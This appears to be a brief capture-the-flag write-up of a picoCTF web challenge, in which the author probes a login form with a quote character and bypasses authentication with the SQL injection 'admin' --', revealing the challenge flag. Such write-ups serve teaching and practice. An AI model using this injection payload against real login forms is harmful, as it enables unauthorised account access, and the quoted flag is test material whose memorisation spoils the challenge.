Cannot add name

Hi. I tried adding my favorite Irish person, Conan O'Brien. But I keep getting something called a SQL Error

That's because Conan O'Brien is American.

[Admin](#)

This is the [support page](#) and it looks like someone talked about a possible SQL error and the user *Admin* responded.

I am going to put a ' in the username column and see if it returns an error.

```
username: `
password:
SQL query: SELECT * FROM users WHERE name='' AND password=''
```

Login failed.

This site seems to be vulnerable to an sql injection. I am going to try to login as admin

Username: admin' --

Your flag is: picoCTF{s0m3_SQL_c218b685}

Submitting the flag I found on the login screen completed the challenge.

Hurray! You earned 300 points.
